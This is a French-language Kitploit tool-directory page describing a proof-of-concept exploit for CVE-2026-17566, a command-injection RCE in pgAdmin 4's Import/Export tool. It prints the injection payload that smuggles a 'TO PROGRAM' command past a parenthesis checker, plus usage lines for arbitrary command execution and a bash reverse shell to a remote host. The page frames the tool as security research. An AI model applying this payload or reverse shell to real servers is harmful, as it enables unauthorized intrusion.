Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/hackspeak/cve-2026-17566
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'Intrusion
GitHubhackspeak/cve-2026-17566

CVE-2026-17566

pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - Injection TO PROGRAM via divergence d'échappement par antislash

Voir le dépôt
11il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC

PoC d'exécution de code à distance pour l'outil Import/Export Data de pgAdmin 4. En exploitant la divergence de sémantique d'échappement par antislash entre le vérificateur de parenthèses _is_query_parens_balanced() et psql, injectez \copy ... TO PROGRAM pour exécuter des commandes arbitraires sur le serveur exécutant pgAdmin.

Chaîne d'attaque contextuelle : CVE-2026-17349 (fuite d'identifiants Workspaces) → CVE-2026-17351 (contournement en lecture seule d'AI Assistant) → cette vulnérabilité (RCE). Les trois ne nécessitent qu'un utilisateur authentifié à faibles privilèges.

Description de la vulnérabilité

L'outil Import/Export Data insère le SQL de l'utilisateur dans un template Jinja pour construire la commande psql \copy (...). Le vérificateur d'équilibrage des parenthèses écrit à la main traite toujours \' comme une apostrophe échappée (correct uniquement lorsque standard_conforming_strings=off) ; alors qu'avec PostgreSQL, par défaut , , et les guillemets se ferment directement.

standard_conforming_strings=on
psql traite l'antislash comme un caractère ordinaire
root@kitploit:~
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'

Le vérificateur considère que ) est toujours dans la chaîne → l'équilibre des parenthèses est validé ; psql ferme la chaîne à a\', ) met fin au bloc \copy (...), TO PROGRAM 'cmd' devient une directive active, exécutée par le popen() de psql.

  • CWE : CWE-78 (injection de commandes OS) / CWE-115 (mauvaise interprétation des entrées)
  • CVSS : 9.9 (CVSS 3.1) / 9.4 (CVSS 4.0), périmètre modifié, faibles privilèges + aucune interaction
  • Versions affectées : pgAdmin 4 < 9.18 (depuis l'introduction de _is_query_parens_balanced()) ; correctif commit 1496fabe
  • Lié : CVE-2025-12762 / CVE-2025-13780 (injections TO PROGRAM de psql, même famille)
  • Découvert par : Arpit Jain (arpitjain099)

Conditions d'exploitation

  • Utilisateur pgAdmin authentifié à faibles privilèges (avec la permission tools_import_export_data)
  • Service pgAdmin accessible depuis le réseau
  • Cible pgAdmin 4 < 9.18 avec l'outil Import/Export disponible

Utilisation

root@kitploit:~
export PGADMIN_PASSWORD='账户密码'

# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'

# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --reverse 10.0.0.1:4555
ParamètreDescription
--urlURL de base de pgAdmin
--user / --password (ou PGADMIN_PASSWORD)Compte à faibles privilèges
--commandCommande arbitraire (ne doit pas contenir de guillemet simple)
--reverse HOST:PORTGénère un reverse shell bash
--server-idID du serveur (par défaut, prend automatiquement le premier)
--fileNom du fichier d'export (pour construire la commande \copy, défaut /tmp/pgadmin_export.csv)
--no-verifyIgnore la vérification du certificat TLS

Déroulement : connexion (gestion automatique du CSRF/session) → énumération du serveur → POST /import_export/job/<sid> pour soumettre la requête is_query_export construite.

⚠️ Avertissement

À utiliser uniquement pour la recherche en sécurité, la validation de vulnérabilités et les tests défensifs. Ce script est basé sur une analyse publique des techniques et n'a pas été vérifié sur une machine réelle ; les champs de requête peuvent nécessiter un ajustement selon la version de pgAdmin cible. Exécutez-le dans un environnement de test autorisé, ne l'utilisez pas contre des systèmes non autorisés.

Attribution et références

  • Ce dépôt est un PoC écrit indépendamment (licence MIT), basé sur des informations publiques.
  • Issue officielle #10213 : erreur de sémantique d'antislash dans le vérificateur de parenthèses
  • OpenCVE : CVE-2026-17566
  • NVD : CVE-2026-17566
  • Commit de correctif : 1496fabe
Télécharger l’outil